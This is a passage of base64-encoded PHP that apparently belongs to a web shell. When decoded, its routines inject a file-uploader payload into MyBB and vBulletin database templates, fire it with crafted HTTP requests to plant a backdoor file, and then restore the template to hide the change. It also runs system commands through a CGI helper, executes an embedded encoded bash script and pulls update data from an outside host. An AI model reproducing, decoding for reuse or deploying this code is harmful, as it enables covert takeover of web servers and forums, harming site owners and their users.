qZWN0ZXQuLi4iKTsKJGZmPSAnaHR0cDovLycuJHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMV
wiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBoc
DwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+
QW5kIEdvIFRvID0+IDwvZm9udD48YSBocmVmPSciLiRwYXRoLiIva2lzZXJ5b3VuaS5waHAnIHRhcmdldD0nX2JsYW5rJz4iLiRwYXRoLiIva2lzZXJ5b3VuaS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF
0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgJF9QT1NUWydob2tpMiddPT0gJ215YmInKXsKSG9raU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYW
Rlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzL
m1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBh
cnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l
6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJy
csICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1Z
ScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRW
YWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3B
yZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3
JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnaG9raTYnXTsKJGRibiA9ICRfUE9TVFsnaG9raTcnXTsKJGRicCA9ICRfUE9TVFsnaG9raTgnXTsKJGRiaCA9ICRfUE9TVFsna
G9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRzaGVsbENvZGUgPSAie1wkeyIuSE9LSV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRz
aGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3F
saV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaW
UgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2Z
URhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0
aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3M
gd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm
93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEhva2lDdXJsID0gbmV3IEhva2lDVVJMKCk7C
mlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApewppZiAoJGZzb2NrID0gQGZzb2Nrb3BlbigkcmVhbHVybCwgODAsICRlcnJubywgJGVycnN0
ciwgMTApKXsKQGZwdXRzKCRmc29jaywgIkdFVCAkcmVhbHBhdGgvY2FsZW5kYXIucGhwIEhUVFAvMS4xXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7CkBmcHV0cygkZnNvY2ssICJDb25uZWN0aW9uOiBjbG9zZVx
yXG5cclxuIik7CiRjaGVjayA9IGZnZXRzKCRmc29jayk7CmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7CiRyZXBhaXJkYnRlbXAgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICckcmVwc2F2ZScgd2
hlcmUgdGl0bGUgPSAnY2FsZW5kYXInIjsKJGNsZWFyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZXBhaXJkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY
3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRIb2tpQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRw
Oi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCI7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmw
uJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8YnI+PHByZSBpZD0nc3RyT3V0cHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdtbDEnPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPScjRkZGRkZGJz5QbGVhc2UgR2
8gVG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J
19ibGFuayc+Ii4kZmZmLiI8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfX19fQppZihpc3NldCgkX1BPU1RbJ2hva2kzJ10pICYmICRfUE9TVFsnaG9raTMnXT09ICd2YicpewpIb2tpTnVtKDEsMiw3LDksMTApOwplY2hvIF9fcHJlKCkuJzxw
PjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZidWxsZXRpbiB8PC9kaXY+PC9wPjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wPjxmb3JtIG5hbWU9ImZybSIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0iZyhcJ1NoZWxsSW5qZWN0b3J
zXCcsbnVsbCxudWxsLHRoaXMubG8udmFsdWUsXCd2YlwnLHRoaXMudXNlci52YWx1ZSx0aGlzLnBhc3MudmFsdWUsdGhpcy50YWIudmFsdWUsdGhpcy5kYi52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPic7CiR0YWJsZS
A9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdsbycsICdpZCc9PidkYl9ob3N0JywnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1d
FNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dFZhbHVlJyA9PiAn
JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1VzZXIgTmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICd1c2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dFZhbHV
lJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ3Bhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dF
ZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCA6ICcsICdpbnB1dE5hbWUnID0+ICd0YWInLCAnaWQnPT4nZGJfcHJlZ
ml4JywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAnPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9wPjwvZm9ybT48
L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k0J10pJiYhZW1wdHkoJF9QT1NUWydob2tpNCddKSl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k4J107CiRmYXFfbmFtZSA9ICJmYXEiOwokZmFxX2ZpbGUgPSAiL2ZhcS5waHAiOwokY29kZSA
9ICJ7XCR7Ii5IT0tJX1VQTE9BREVSLiJ9fXtcJHtleGl0KCl9fSYiOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJF9QT1NUWydob2tpMiddLCRfUE9TVFsnaG9raTQnXSwkX1BPU1RbJ2hva2k1J10sJF9QT1NUWydob2tpNyddKSBvciBkaWUoQG15c3
FsaV9jb25uZWN0X2Vycm9yKCkpOwokcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwokcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJ
GNvbm4sJHJlYyk7CiRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7CiRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsKaWYoZW1wdHkoJHNhdmV0b2FzcykpewoJJGZhcV9uYW1lID0gImhlYWRlciI7CgkkZmFxX2Zp
bGUgPSAiLyI7CgkkcmVjID0gInNlbGVjdCBgdGVtcGxhdGVgIGZyb20gIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOyRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTs
KCSRnZXRkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVjaXZlZGF0YSk7Cgkkc2F2ZXRvYXNzID0gJGdldGRbJ3RlbXBsYXRlJ107CgkkY29kZSA9IEhPS0lfVVBMT0FERVIuIjsiOwp9CiRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZG
UpOwokcCA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCBgdGVtcGxhdGVgPSciLiRjb2RlLiInIFdIRVJFIGB0aXRsZWA9JyIuJGZhcV9uYW1lLiInIjsKJGthPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwKSBvciBkaWUob
XlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgYHZhbHVlYCBmcm9tICIuJF9QT1NUWydob2tpNiddLiJzZXR0aW5nIFdIRVJFIGB2YXJuYW1lYD0nYmJ1cmwnIik7CiRnZXR2YWwgPSBAbXlz
cWxpX2ZldGNoX2Fzc29jKCRnZXR1cmwpOwokc2F2ZXZhbCA9ICRnZXR2YWxbJ3ZhbHVlJ107CmlmKCRmYXFfbmFtZSA9PSAiaGVhZGVyIil7CglpZihzdWJzdHIoJHNhdmV2YWwsIC01LCA1KSA9PSAiL2NvcmUiKXsKCQkkc2F2ZXZhbCA9IHN1YnN
0cigkc2F2ZXZhbCwgMCwgLTUpOwoJfQp9CiRyZWFsdXJsID0gcGFyc2VfdXJsKCRzYXZldmFsLFBIUF9VUkxfSE9TVCk7CiRyZWFscGF0aCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX1BBVEgpOwokcmVzID0gZmFsc2U7CiRIb2tpQ3VybC
A9IG5ldyBIb2tpQ1VSTCgpOwppZihleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CmlmKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwL
CAkZXJybm8sICRlcnJzdHIsIDEwKSl7CkBmcHV0cygkZnNvY2ssICJHRVQgJHJlYWxwYXRoLiRmYXFfZmlsZSBIVFRQLzEuMVxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkhPU1Q6ICRyZWFsdXJsXHJcbiIpOwpAZnB1dHMoJGZzb2NrLCAiQ29ubmVj
dGlvbjogY2xvc2VcclxuXHJcbiIpOwokY2hlY2sgPSBmZ2V0cygkZnNvY2spOwppZihwcmVnX21hdGNoKCIvMjAwIE9LL2kiLCRjaGVjaykpewokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydob2tpNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSc
iLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Ci
RyZXMgPSB0cnVlOwp9CkBmY2xvc2UoJGZzb2NrKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZ
Sk7CiRwMSA9ICJVUERBVEUgIi4kX1BPU1RbJ2hva2k2J10uInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIubXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygkY29ubiwkc2F2ZXRvYXNzKS4iJyBXSEVSRSB0aXRsZSA9JyIuJGZhcV9uYW1lLiInIjsK
JGthMT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcDEpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm9
1dHB1dCgkZmYpOwp9ZWxzZXsKJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGU7CiRmZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIva2lzZXJ5b3VuaS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb2
50IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoa
XMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljaGVja2ZpbGV0eXBl
KCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGhva2l
jaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImhva2ljZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJob2tpY2dpYXBpIl0pKXsKCQkJX2hva2lfY2dpY2
1kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGhva2lFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY
3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBIb2tpQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0hPS0lfVkVSU0lPTl9f
KTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2hva2lfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXs
KCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fSE9LSV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0hPS0lfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y2
9va2llKCJob2tpX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9C
gkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0
eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsia2lzZXJ5b3VuaSJdKSAmJiAhZW1wdHkoJGpzb25bImtpc2VyeW91bmkiXSkpewo
JCQkJJGRhdGFbImtpc2VyeW91bmkiXSA9ICRqc29uWyJraXNlcnlvdW5pIl07CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImNvZGVfbmFtZSJdKSAmJiAhZW1wdHkoJGpzb25bImNvZGVfbmFtZSJdKSl7CgkJCQkkZGF0YVsiY29kZV9uYW1lIl0gPS
AkanNvblsiY29kZV9uYW1lIl07CgkJCQkkZGF0YVsidmVyc2lvbl9udW1iZXIiXSA9IF9fSE9LSV9WRVJTSU9OX187CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bIm1hcmtldCJdKSAmJiAhZW1wdHkoJGpzb25bIm1hcmtldCJdKSl7CgkJCQkkZGF0Y
VsibWFya2V0Il0gPSAkanNvblsibWFya2V0Il07CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJGRhdGEpOwoJCX0KCX0KfQpmdW5jdGlvbiBob2tpV3JpdGVUb2NnaWFwaSgkbmFtZSwgJHNvdXJjZSl7CgkkdGVtcCA9ICIiOwoJJG5vdF9hcGkg
PSBhcnJheSgiYmFzZWRpci5ob2tpIiwgImdldGRpci5ob2tpIiwgImdldGhlYWRlci5ob2tpIik7CglpZihpbl9hcnJheSgkbmFtZSwgJG5vdF9hcGkpKXsKCQkkdGVtcCA9IEhPS0lfVEVNUERJUjsKCQlpZigkdGVtcCl7CgkJCUBjaGRpcigkdGV
tcCk7CgkJfQoJfWVsc2V7CgkJaG9raUNyZWF0ZVBhcmVudEZvbGRlcigpOwoJCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fSE9LSV9EQVRBX0ZPTERFUl9fKTsKCX0KCUBta2RpcignaG9raWNnaWFwaScsMDc1NSk7CglfX3
dyaXRlX2ZpbGUoImhva2ljZ2lhcGkvIi4kbmFtZSwgX19nZXRfcmVzb3VyY2UoJHNvdXJjZSkpOwoJQGNobW9kKCJob2tpY2dpYXBpLyIuJG5hbWUsIDA3NTUpOwoJcmV0dXJuICR0ZW1wOwp9CmZ1bmN0aW9uIGhva2ljaGVja2NnaSgpe2lmKHN0c
mxlbihob2tpRXgoImlkIixmYWxzZSx0cnVlLHRydWUpKT4wKWVjaG8oIm9rIik7ZWxzZSBlY2hvKCJubyIpO30KZnVuY3Rpb24gaG9raXVwZGF0ZWhlYWRlcigpewoJaWYoIWlzc2V0KCRfQ09PS0lFWyJ1cGRhdGVoZWFkZXJfZGF0YSJdKSl7CgkJ
JGJhc2ggPSAielpSZGI5b3dGSWF2eWE4NDlkSUdKTEswdlZ5Rk5GVG9oRVJCZ3RGZFFJUk00aEFMNDBSMlVrWXAvMzEyZ1BBUnFMcWJhWW55SWZzOHgrODVyK1V2VjA0cWhUT2gzSkdoTWVnM253YnRXbm5xZWNEVW96OCt6UEdNUUJ6R0VCUEJJRjR
tWWNSQnBKTWxKRmpBOUkzR01ObStNQXZ3UFhDRlJSNU9DTWlVK3BxcUdJM3VyMDY3VzI4MGUvMWFlVEVsQ1FRazhVSmdTLzRiR09VekNWNnEwdXNadG9qdE9SVWlFaFdEZUdFRU5nRnJoVkpKZ3BTaGI4T1JaeGxCSklBQzVXQ3VOcXFIMzkzMUEvaV
JBZXBhaE5RTGEyWTUrNEpKSzBacE9JUXJzTjhBbWRrZ0F0ZUZteHZZNVI4aGs0NVExVks1cTRZZmNaS3ZqRWJxZHFzakQrM0ZJRDlhY0JaaG40aWlub05TLzYyb2xPTTVVWHFRWlphemY3QXh2S3UrSm1CN2QvYmQvVzNGeWlEckVKSkVVSDlMeVFUc
ldFRFhLUXpoZWdBdVV0cHUwUmx1S3FJMFBnTk9OZmpqQTlDUDVwaHlxVUU5OGRMcS9SelUyK05HOTduZTZ2UnJ5Rkg3d25tbElra3hjemJCcXRsRVNHUjA2cy9OeHZpeDIzbmFodWtpL2E5ZXhBTmt2TlRiclhxL21XZkFqR0pKcEtObmV1TU1WVk92
V0d3b05VNERVQWJvYnBvbktyUVJENUNFaEJ1bGJaVDRPS3EwSzlBczQ4VU1yR2Fuc1lvRjVRbDBlbXNMVHRFSzdQcWdMWVFTWWZ0bGpocHdZUTBtQzNIdnNQREFac2VaanhLYisvNzlqZlE5VmNndHlRR09IckZpZWdUN2FndWMyQU51UmdUVXlBV1J
naUM5OVhORHRtNFd4N2RlWHJMb2dMdlF0NE9Zc3owN2R1UDhpc1dVZWRCLzdzT25YYmdzOUtUMnc2Q3p4Vy8wZlg2YmFIMzVjZUd1MVNueEJ3PT0iOwoJCSRyZWFsZGlyID0gYWRkc2xhc2hlcyhkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU
5BTUUiXSkpOwoJCSR0bXBfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRoZWFkZXIuaG9raSIsJGJhc2gpOwoJCSRkYXRhID0gaG9raUV4KCJjZCAneyR0bXBfcGF0aH0vaG9raWNnaWFwaSc7c2ggZ2V0aGVhZGVyLmhva2kiLGZhbHNlLHRyd
WUsdHJ1ZSk7CgkJaWYoQGlzX2FycmF5KEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKSkpewoJCQlfX2hva2lfc2V0X2Nvb2tpZSgidXBkYXRlaGVhZGVyX2RhdGEiLCBfX1pXNWpiMlJsY2coJGRhdGEpKTsKCQkJZWNobyAkZGF0YTsKCQl9Cgl9ZWxz
